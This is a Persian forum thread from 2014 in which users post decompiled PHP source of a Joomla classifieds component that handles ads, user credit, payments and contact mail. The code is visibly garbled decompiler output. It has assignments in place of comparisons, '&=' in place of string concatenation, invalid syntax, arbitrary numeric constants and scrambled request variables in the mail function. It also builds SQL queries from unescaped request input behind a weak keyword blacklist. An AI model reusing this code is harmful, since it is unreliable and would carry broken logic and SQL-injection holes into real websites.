$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $id . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
$db->Query( );
$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );


if ($db->Query( )) {
echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>';
NiazController::deletefolder( 'prod', $id );
SendingMail( 5, $row );
}
}
}


}


function DeleteFolder($table, $id) {
global $option;


jimport( 'joomla.filesystem.file' );
jimport( 'joomla.filesystem.folder' );
$destfolder = JPATH_ROOT . DS . 'components' . DS . ( '' . $option ) . DS . 'files' . DS . $table . DS . $id;


if (is_dir( $destfolder )) {
JFolder::delete( $destfolder );
}


}


function ShowEdit() {
global $option;
global $niaz_config;


if (!strlen( $niaz_config->fldField59 )) {
return '';
}


$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
echo ' <table width="100%" id="adminlist" class="adminlist" border="1">
<thead>
<tr>
<th>#</th>
<th>';
echo JText::_( 'NIAZ_EDIT_COUNT' );
echo '</th>
<th>';
echo JText::_( 'NIAZ_ADMIN_FEE' );
echo '(';
echo $niaz_config->fldCurrency;
echo ')</th>
</tr>
</thead>
<tbody>
';
$it = 360;
$x = 360;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
echo ' <tr class="';
echo 'row' . ++$it & 2;
echo '">
<td>';
echo $it;
echo '</td>
<td>';
echo $D[0];
echo '</td>
<td>';
echo ($D[1] ? $D[1] : '<font class="red"><strong> ' . JText::_( 'NIAZ_FREE' ) . ' </strong></font>');
echo '</td>
</tr>
';
++$x;
}


echo ' </tbody>
</table>
';
}


function MyQuestFarsi($str) {
$str = str_replace( 'ي', 'ی', $str );
$str = str_replace( 'ك', 'ک', $str );
$str = str_replace( 'هٔ', 'ه‌ی', $str );
$str = str_replace( '\\', '', $str );
return $str;
}


function CleanSQL($where) {
$forbidden = array( 'UNION', 'SELECT', 'DELETE', 'ALTER', 'JOIN', 'DROP', 'TRUNCATE', 'UPDATE', 'CREATE' );
foreach ($forbidden as $v) {
$A = strpos( strtoupper( $where ), $v );


if ($A) {
$B = substr( $where, $A, strlen( $v ) );
$where = str_replace( $B, 'XXXXX', $where );
continue;
}
}


return $where;
}


function UpdateUseCredit($rows, $paymethod, $order_number, $db) {
global $my;


$query = 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' . $my->id;
$db->setQuery( $query );
$rowx = $db->loadObject( );


if (!count( $rowx )) {
return null;
}


$fldCredit = $rowx->fldCredit;
foreach ($rows as $row) {
$fldTafavot = $fldCredit;


if ($row->fldMoney < $fldCredit) {
$fldTafavot = $row->fldMoney;
}


$query = 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$IsHere = $db->loadResult( );


if (!$IsHere) {
$query = 'UPDATE #__niaz_credit_users' . ( '
SET fldTafavot = fldTafavot+' . $fldTafavot . ',fldCredit=fldCredit-' . $fldTafavot ) . ( '
WHERE fldUID = ' . $my->id );
$db->setQuery( $query );
$db->query( );


if ($fldTafavot) {
$query = 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldID . ',' . $row->fldOwner . ')';
$db->setQuery( $query );
$db->Query( );
}


$query = 'UPDATE #__niaz_prod' . ( '
SET fldOrderNumber = \'' . $order_number . '\' , fldPayMethod = \'' . $paymethod . '\',fldTafavot = ' . $fldTafavot ) . ( '
WHERE fldID = ' . $row->fldID . ' AND fldPay!=1 ' );
$db->setQuery( $query );
$db->query( );
}


$fldCredit += $row->fldMoney;


if ($fldCredit < 0) {
$fldCredit = 432;
continue;
}
}


}


function ReverseUseCredit($row, $db) {
global $option;
global $niaz_config;


$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $row->fldOwner . ' AND fldPID = ' . $row->fldID;
$db->setQuery( $query );
$db->Query( );


if (( ( is_null( $row->fldStartTime ) && $row->fldMoney ) && $row->fldPay = 1 )) {
$PName = $row->fldPName;
$total = $row->fldMoney;
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) ) & 1;
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
$db->setQuery( $query );


if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}


$credit = 519;


if ($row->fldPayMethod = 'etebar') {
$credit = $total;
}


$fldDesc = JText::sprintf( 'REVERSE_CREDIT_3', $PName ) . '#::#' . JText::sprintf( 'REVERSE_CREDIT_4', Comma( $row->fldMoney ), $niaz_config->fldCurrency );
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $PName . '\',\'return\',\'\',-' . $total . ',' . $credit . ',' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
$db->Query( );
}
else {
if (( is_null( $row->fldStartTime ) && $row->fldTafavot )) {
$PName = $row->fldPName;
$total = $row->fldTafavot;
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
$db->setQuery( $query );


if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}
}
}


$query = 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
}


function LoadUserStyle($type, $file) {
global $option;


$no_html = JRequest::getvar( 'no_html', 0 );


if ($no_html) {
return null;
}


$tmpl = JRequest::getvar( 'tmpl', '' );


if ($tmpl = 'component') {
$no_html = 395;
}


switch ($no_html) {
case 0: {
$document = JFactory::getdocument( );
switch ($type) {
case 'js': {
$js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file );
$document->addScript( $js );
break;
}


case 'css': {
$css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file );
$document->addStyleSheet( $css );
}
}


break;
}


case 1: {
switch ($type) {
case 'js': {
$js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file );
echo '<script src="' . $js . '" type="text/javascript"></script>';
break;
}


case 'css': {
$css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file );
echo '<link rel="stylesheet" href="' . $css . '" type="text/css" />';
}
}
}
}


}


function SaveCookie($content = '') {
global $option;
global $mainframe;


$content &= '
';


if (is_dir( JPATH_SITE . DS . 'mytemp' )) {
$f = fopen( JPATH_SITE . DS . 'mytemp' . DS . 'SQL_' . date( 'Y-m-d-H-i' ) . '.txt', 'a+' );
fwrite( $f, $content, strlen( $content ) );
fclose( $f );
}


}


function LoadCurrentCredit() {
echo LoadCredit( );
}
}


?>

aminamin
July 22nd, 2014, 19:32
سلام

متاسفانه من php كار نكردم

براي همين از دوستان كمك خواستم

- - - Updated - - -

سلام

متاسفانه من php كار نكردم

براي همين از دوستان كمك خواستم

mrlion
July 22nd, 2014, 19:36
<?php


if (!( defined( '_JEXEC' ))) {
exit( 'Restricted access' );
(bool)true;
}


jimport( 'joomla.application.component.controller' );
class NiazController extends JController {
function __construct() {
parent::( );
}


function ReBackCredit() {
global $my;


$PID = JRequest::getvar( 'ix', 0, 'POST' );
$PID = intval( base64_decode( $PID ) );
$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
$db->setQuery( $query );
$row = $db->loadObject( );
$total = 472;


if (count( $row )) {
$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
$query = 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$fldMoney = $db->loadResult( );
$query = 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' . $my->id;
$query = self::cleansql( $query );
$db->setQuery( $query );
$total = ($fldMoney ? $db->loadResult( ) : 0);
$fldMoney = Comma( $fldMoney );
}




if (intval( $total )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $row->fldTafavot . ',fldTafavot=fldTafavot-' . $row->fldTafavot . ' WHERE fldUID=' . $my->id;
$db->setQuery( $query );
$db->Query( );
$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_COMPLETED' );
return null;
}


$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
$db->setQuery( $query );
$db->Query( );
echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_ERROR' );
}


function WhereCluse($view) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $niaz_config;
global $DLANG;
global $AU;


$db = JFactory::getdbo( );
$limit = JRequest::getvar( 'limit', $app->getCfg( 'list_limit' ) );
$limitstart = JRequest::getvar( 'limitstart', 0 );
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
$Type = JRequest::getvar( 'Type', 0 );
$key = JRequest::getvar( 'key' );
$id = JRequest::getvar( 'id', 0 );
$layout = JRequest::getvar( 'layout', NULL );
$fldUID = JRequest::getvar( 'fldUID', 0 );
$key = urldecode( JRequest::getvar( 'key', '' ) );
$A = array( );
$where = '';
switch ($view) {
case 'myads': {
$A[] = 'fldOwner=' . $my->id;
break;
}


default: {
if (!empty( $key )) {
$query = 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' . $key . '\' AND published = 1';
$db->setQuery( $query );
$Keys = $db->loadResultArray( );


if (!count( $Keys )) {
$Keys[] = 0;
}




if (!isset( $_SESSION[$key] )) {
$query = 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' . $key . '\'';
$db->setQuery( $query );
$db->Query( );
$_SESSION[$key] = 1;
}


$query = 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' . implode( ',', $Keys ) . ') ';
$db->setQuery( $query );
$KeyArray = $db->loadResultArray( );


if (count( $KeyArray )) {
$A[] = 'fldID IN (' . implode( ',', $KeyArray ) . ')';
}
}


$A[] = 'published=1';
}
}




if ($catid) {
$A[] = 'parent_id=' . $catid;
}




if ($subcatid) {
$A[] = 'fldRelation=' . $subcatid;
}


$K = implode( ' AND ', $A );


if ($K) {
$where = ' WHERE (' . $K . ')';
}


$where = self::cleansql( $where );
return $where;
}


function LoadSQL($table, $where, $fields = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $mainframe;
global $AU;
global $niaz_config;


$db = JFactory::getdbo( );
$limit = JRequest::getint( 'limit', $niaz_config->fldNShow );
$view = JRequest::getvar( 'view', 'niaz' );
$limitstart = JRequest::getint( 'limitstart' );
$ordering = 'fldID DESC';
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$table2 = $table;


if (( $view = 'niaz' || $view = '' )) {
$query = 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ? ' AND fldID = ' . $catid : '');
$db->setQuery( $query );
$CatArray = $db->loadResultArray( );
$CatArray[] = 0;
$query = 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' . implode( ',', $CatArray ) . ') ' . ($subcatid ? ' AND fldID = ' . $subcatid : '');
$db->setQuery( $query );
$SubCatArray = $db->loadResultArray( );
$SubCatArray[] = 0;
$where &= (strlen( $where ) ? ' AND fldRelation IN (' . implode( ',', $SubCatArray ) . ')' : 'WHERE fldRelation IN (' . implode( ',', $SubCatArray ) . ')');
}


switch ($table) {
case 'prod': {
$ordering = 'fldStartTime DESC';
$orderingX = '';
switch ($view) {
case 'myads': {
$fields = '*';
break;
}


case 'pay': {
$fields = '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMon ey`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber` ,`fldPName`,`fldImage`,`fldOwner`' . (strlen( $fields ) ? $fields : '');
break;
}


default: {
$fields = '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldS howLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`, `fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTi me,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA';
$orderingX = 'OA DESC,fldStar';
$ordering = '';
$orderingX = (strlen( $niaz_config->fldField55 ) ? str_replace( array( ':', '*' ), array( ' ', ',' ), $niaz_config->fldField55 ) : $orderingX);
}
}


$ordering = '' . $orderingX . ' ' . $ordering;


if ($view = 'myads') {
$ordering = 'fldID DESC';
}
else {
$where &= (intval( $niaz_config->fldField30 ) ? '' : ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 ');
}


break;
}


case 'rss': {
$table2 = 'prod';
}
}


$query = 'SELECT COUNT(*) FROM #__niaz_' . $table . ' ' . $where;
$db->setQuery( $query );
$total = $db->loadResult( );
$limitx = '
LIMIT ' . $limitstart . ', ' . $limit;
jimport( 'joomla.html.pagination' );
$pageNav = new JPagination( $total, $limitstart, $limit );
$query = 'SELECT ' . $fields . ' FROM #__niaz_' . $table . ' ' . $where . ' ' . ( '
ORDER BY ' . $ordering ) . $limitx;
$db->setQuery( $query );
$rows = $db->loadObjectList( );
return array( $rows, $pageNav );
}


function LoadMySQL($table, $where) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $Align;
global $RTL;
global $app;
global $mainframe;
global $AU;
global $niaz_config;


$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_' . $table . ' WHERE ' . $where . ' ';
$db->setQuery( $query );
$rows = $db->loadObjectList( );
return $rows;
}


function LoadMiniAds($rows) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


$C = array( );
echo ' <div width="100%" class="border">
';
$j = 480;
$i = 480;
$n = count( $rows );


while ($i < $n) {
$row = $rows[$i];


if (( ( ( intval( $niaz_config->fldField48 ) && intval( $niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) {
$ExpDate[] = $row->fldID;
}


$_SESSION['CID'][] = $row->fldID;
$C[] = $row->fldID;
echo ' <div class="banner">
<a href="';
echo JRoute::_( 'index.php?option=' . $option . '&view=detail&id=' . $row->fldID . ':' . $row->fldPName );
echo '" class="title">
';


if ('' < $row->fldImage) {
$fldImage = explode( ',', $row->fldImage );
$A = rand( 1, count( $fldImage ) );
$fldImage = $fldImage[$A - 1];
echo ' <img src="components/';
echo $option;
echo '/files/prod/';
echo '' . $row->fldDate . '/' . $row->fldID;
echo '/tmb_';
echo $fldImage;
echo '" title="';
echo $rows[$i]->fldPName;
echo '" alt="';
echo $rows[$i]->fldPName;
echo '" class="tniypic">
';
}
else {
echo ' <img src="components/';
echo $option;
echo '/images/tmb_pic.png" alt="';
echo $rows[$i]->fldPName;
echo '" title="';
echo $rows[$i]->fldPName;
echo '" class="tniypic">
';
}


echo '
<img border="0" src="';
echo 'components/' . $option . '/images/star_' . $row->fldStar . '.gif';
echo '" />
<br/>';
echo '<s';
echo 'pan>';
echo $row->fldPName;
echo '</span></a>
</div>
';
++$i;
}


echo ' </div>
';
viewCounts( $C );


if (isset( $ExpDate )) {
self::updateexpdate( $ExpDate );
}


}


function UpdateExpDate($ids) {
$db = JFactory::getdbo( );
$ExpDate = implode( ',', $ids );
$query = 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' . $ExpDate . ')';
$db->setQuery( $query );
$db->Query( );
}


function LoadConfig() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $Cat;
global $SubCat;
global $SubCatAll;


$db = JFactory::getdbo( );


if (count( $niaz_config )) {
return true;
}


echo '<div class="message">' . JText::_( 'NIAZ_ERROR_CONFIG' ) . '</div>';
return false;
}


function showMail($aid) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;


$db = JFactory::getdbo( );
$query = 'SELECT * FROM #__niaz_prod ' . ( '
WHERE fldID = ' . $aid );
$db->setQuery( $query );
$rowsa = $db->loadObject( );
$email = $rowsa->fldEMAil;
$uid = $rowsa->fldOwner;
$query = 'SELECT * FROM #__users ' . ( '
WHERE id = ' . $uid );
$db->setQuery( $query );
$rows = $db->loadObject( );


if (count( $rowsa )) {
if ($rowsa->fldEMAil) {
self::showmails( $rows, $rowsa );
return null;
}


echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_NONE_EMAIL' ) . '</a></p>';
return null;
}


echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_BACK' ) . '</a></p>';
}


function showMails($rows, $rowsa) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;


$db = JFactory::getdbo( );


if ($niaz_config->fldField20 = 2) {
$A['css'] = 'slider.css';
$A['js'] = 'slider.js';
foreach ($A as $k => $v) {
NiazController::loaduserstyle( $k, $v );
}
}




if (intval( $niaz_config->fldField19 )) {
$i2 = 578;
}


$i2 = 578;
echo ' ';
echo '<s';
echo 'cript language="javascript">
function checkMail(x){
var filter = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(x))
return 0;
else
return 1;
}
//================================================== =====================
function validAdsMessage(){
var form = document.EForm;
';


if ($niaz_config->fldField20) {
echo ' if(document.getElementById(\'sec_key\').value==""){
alert("';
echo JText::_( 'ALERT_SEC_CODE' );
echo '");
return false;
}
else
';
}


echo ' if(form.Name.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_YOUR_NAME' );
echo '\');
form.Name.focus();
return;
}
else
if((form.Email.value==\'\')||(checkMail(form.Email .value)))
{
alert(\'';
echo JText::_( 'NIAZ_EMAIL' );
echo '\');
form.Email.focus();
return;
}
else
if(form.Subject.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_SUBJECT' );
echo '\');
form.Subject.focus();
return;
}
else
if(form.Message.value==\'\')
{
alert(\'';
echo JText::_( 'NIAZ_MESSAGE' );
echo '\');
form.Message.focus();
return;
}
else
form.submit();
}
//================================================== =====================
</script>
<div class="adminform">
<form action="';
echo $_SERVER['REQUEST_URI'];
echo '" method="post" name="EForm">
<h3>';
echo JText::_( 'NIAZ_ADS_CONTACT' );


if (isset( $rows )) {
echo ' : <a href="';
echo JRoute::_( 'index.php?option=com_userprofile&view=userprofile&id=' . $rows->id . ':' . $rows->username . '&Itemid=116' );
echo '">';
echo $rows->name;
echo '</a>';
}


echo '</h3>
<div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">';
echo JText::_( 'NIAZ_REQUIERD' );
echo '</div>
<div class="row2">';
echo JText::_( 'NIAZ_RECIVER' );
echo ' : ';
echo (isset( $rows ) ? $rows->name : $rowsa->fldPName);
echo '</div>

<div class="row"><label>';
echo JText::_( 'NIAZ_YOUR_NAME' );
echo '</label><input size="35" name="Name" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_COUNTRY' );
echo '</label><input size="35" name="Country" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_EDU' );
echo '</label><input size="35" name="Edu" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_JOB' );
echo '</label><input size="35" name="Job" ></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_EMAIL' );
echo '</label><input size="35" name="Email" dir="ltr"></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_SUBJECT' );
echo '</label><input size="35" name="Subject" value="';
echo JText::_( 'NIAZ_DEFUALT_SUBJECT' );
echo ' ';
echo $rowsa->fldPName;
echo '"></div>
<div class="row"><label>';
echo JText::_( 'NIAZ_MESSAGE' );
echo '</label><textarea name="Message" class="NewTable" rows="10"></textarea></div>
';


if (intval( $niaz_config->fldField20 )) {
echo ' <div class="row">
';


if (intval( $niaz_config->fldField20 ) = 1) {
echo ' <label>';
echo JText::_( 'NIAZ_IMAGE_SECURITY' );
echo '</label>
<input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" />
<img src="';
echo JURI::root( );
echo 'components/';
echo $option;
echo '/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" />
<img src="';
echo JURI::root( );
echo 'index.php?option=';
echo $option;
echo '&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" />

';
}
else {
$captcha = time( );
$_SESSION['captcha'] = $captcha;
echo ' <div id="ads-slider" class="dragdealer rounded-cornered w90">
<div class="red-bar handle" id="roleowerADS">&lt;&lt; ';
echo JText::_( 'NIAZ_SEC_ALERT' );
echo ' </div>
</div>
<input type="hidden" name="sec_key" id="sec_key" />
';
echo '<s';
echo 'cript language="javascript">
var MyAlaki = \'';
echo $captcha;
echo '\';
var OkAlert = \'';
echo JText::_( 'NIAZ_SEC_OK' );
echo '\';
</script>
';
}


echo ' </div>
';
}


echo ' <input type="hidden" name="To" value="';
echo $rowsa->fldEMAil;
echo '" />
<input type="hidden" name="option" value="';
echo $option;
echo '" >
<input type="hidden" name="task" value="sendMail" >
<input type="hidden" name="mag" value="';
echo JText::_( 'NIAZ_A_ADS' );
echo ' ';
echo $rowsa->fldPName;
echo '" >
<input type="button" value="';
echo JText::_( 'NIAZ_SEND_MAIL' );
echo '" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;">
</form>
</div>
';
echo '<s';
echo 'cript language="javascript">
';


if ($niaz_config->fldField20 = 2) {
echo ' new Dragdealer(\'ads-slider\');
';
}


echo '</script>
';
}


function sendMail() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;


$db = JFactory::getdbo( );
$MailFrom = $app->getCfg( 'mailfrom' );
$FromName = $app->getCfg( 'fromname' );
$SiteName = $app->getCfg( 'sitename' );


if (intval( $niaz_config->fldField20 )) {
$sec_key = JRequest::getvar( 'sec_key' );


if ($sec_key != $_SESSION['captcha']) {
$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
}


$Email = $Subject = $Message = ;
$Job = JRequest::getvar( 'Message', '', 'POST' );
$Edu = JRequest::getvar( 'Subject', '', 'POST' );
$Country = JRequest::getvar( 'Email', '', 'POST' );
$Name = JRequest::getvar( 'Job', '', 'POST' );
$mag = JRequest::getvar( 'Edu', '', 'POST' );
JRequest::getvar( 'To', '', 'POST' );
$To = JRequest::getvar( 'Country', '', 'POST' );
JRequest::getvar( 'si', 'X', 'POST' );
$si = JRequest::getvar( 'Name', '', 'POST' );
JRequest::getvar( 'siu', 'Y', 'POST' );
$siu = JRequest::getvar( 'mag', '', 'POST' );


if ($mag) {
$mag = JText::_( 'ADS_TO_ADMIN' ) . ' ' . $mag;
}
else {
$mag = JText::_( 'ADS_TO_USER' ) . ( ' ' . $SiteName );
}


$body = $Name . ( ' <' . $Email . '>
' ) . JText::_( 'NIAZ_JOB' ) . ' : ' . $Job . '
' . JText::_( 'NIAZ_EDU' ) . ' : ' . $Edu . ( '

' . $mag . '

' ) . $Message . '
' . '
. ' . JText::_( 'NIAZ_SENT' ) . ( ' ' . $mosconfig_live_site . ' ' ) . JText::_( 'NIAZ_BY_OUR_SITE' ) . ( ' ' . $SiteName . ' ' ) . JText::_( 'NIAZ_TO_ADD' ) . ( '
<' . $FromName . '>' . $MailFrom );
$M = JUTility::sendmail( $MailFrom, $FromName, $To, $Subject, $body, 0, NULL, NULL, NULL );


if (is_object( $M )) {
$M = 577;
}




if ($M) {
JText::_( 'NIAZ_SENT_SUCCESS' );
$msg = ;
}
else {
$msg = '';
}


$this->setMessage( $msg );
$this->setRedirect( $_SERVER['REQUEST_URI'] );
return true;
}


function CheckAccess() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $option;
global $RTL;


if ($my->id = 0) {
$uri = JFactory::geturi( );
$return = $uri->toString( );
$url = 'index.php?option=com_users&view=login';
$url &= '&return=' . base64_encode( $return );
$app = JFactory::getapplication( );
$app->redirect( JRoute::_( $url ), JText::_( 'You must login first' ) );
}


}


function saveprod($task = 'save') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;
global $option;
global $RTL;


$db = JFactory::getdbo( );


if ($niaz_config->fldUType = 0) {
NiazController::checkaccess( );
}




if (!intval( $niaz_config->fldField42 )) {
$niaz_config->fldField42 = 10;
}




if (!intval( $niaz_config->fldField56 )) {
$niaz_config->fldField56 = 2;
}


$ShortDescX = JRequest::getvar( 'ShortDesc', array( ), 'POST' );
$ShortDesc = array( );
foreach ($ShortDescX as $k => $v) {


if (( $k < $niaz_config->fldField42 && strlen( trim( $v ) ) )) {
$vx = explode( ' ', $v );


if (intval( $niaz_config->fldField56 ) < count( $vx )) {
$v = array_slice( $vx, 0, $niaz_config->fldField56 );
$v = implode( ' ', $v );
}


$ShortDesc[] = $v;
continue;
}
}


$ShortDesc = array_unique( $ShortDesc );
JRequest::setvar( 'fldShort', implode( ',', $ShortDesc ) );
JRequest::setvar( 'fldEXPMail', 0 );


if (count( $ShortDesc )) {
foreach ($ShortDesc as $v) {
$query = 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' . $v . '\');';
$db->setQuery( $query );
$db->Query( );
}
}


$id = JRequest::getint( 'fldID', 0, 'POST' );
$PName = JRequest::getvar( 'fldPName', '', 'POST' );
$X = self::isuniquename( $PName, $id );


if ($X) {
$this->setMessage( JText::_( 'ALERT_DUPLICATE_NAME' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}




if (intval( $niaz_config->fldField20 )) {
$sec_key = JRequest::getvar( 'sec_key' );


if ($sec_key != $_SESSION['captcha']) {
$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
return false;
}
}


require_once( JPATH_SITE . DS . 'administrator' . DS . 'components' . DS . $option . DS . 'tables' . DS . 'prod.php' );
$FType = array( );


if (strlen( $niaz_config->fldField45 )) {
$U = explode( '*', $niaz_config->fldField45 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
$FType['fldFilmsize'][$D[0]] = $D[1];
}


$FType['fldFilm'] = $X;
}




if (strlen( $niaz_config->fldField44 )) {
$U = explode( '*', $niaz_config->fldField44 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
$FType['fldImagesize'][$D[0]] = $D[1];
}


$FType['fldImage'] = $X;
}


$File = array( );
$B = array( );
$msg = '';
$table = 'prod';
$fldStat = JRequest::getvar( 'fldStat' );
$row = new NiazTableProd( $db );
$row->load( $id );


if (5 < $fldStat) {
$_POST['fldStat'] = 0;
}


$fldDate = ($id ? $row->fldDate : date( 'Y-m-d' ));
$_POST['fldDate'] = $fldDate;
$_POST['fldOwner'] = $my->id;


if (intval( $niaz_config->fldField32 ) = 0) {
$_POST['fldDesc'] = strip_tags( $_POST['fldDesc'] );


if ($niaz_config->fldField43) {
$fldDesc = explode( ' ', $_POST['fldDesc'] );
$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
$_POST['fldDesc'] = implode( ' ', $fldDesc );
}
}


$FT = array( );
$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
$db->setQuery( $query );
$Cols = $db->loadObjectList( );
$i = 2099;
foreach ($Cols as $h) {


if (substr( $h->Field, 0, 8 ) = 'fldExtra') {
if ($h->Type = 'text') {
$FT[] = $h->Field;
++$i;
continue;
}


continue;
}
}


foreach ($FT as $v) {


if (intval( $niaz_config->fldField32 ) = 0) {
JRequest::setvar( $v, strip_tags( $_POST[$v] ), 'POST' );


if ($niaz_config->fldField43) {
$fldDesc = explode( ' ', $_POST[$v] );
$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
JRequest::setvar( $v, implode( ' ', $fldDesc ), 'POST' );
continue;
}


continue;
}
}


$DELPIC = ($my->id ? JRequest::getvar( 'DELPIC', array( ) ) : array( ));
$maindestfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate );
$destfolder = $maindestfolder . DS . ( '' . $id );
$Err = 2099;
foreach ($_FILES as $k => $v) {
foreach ($v as $k1 => $v1) {


if ($k1 = 'name') {
foreach ($v1 as $k2 => $v2) {


if (strlen( $v2 )) {
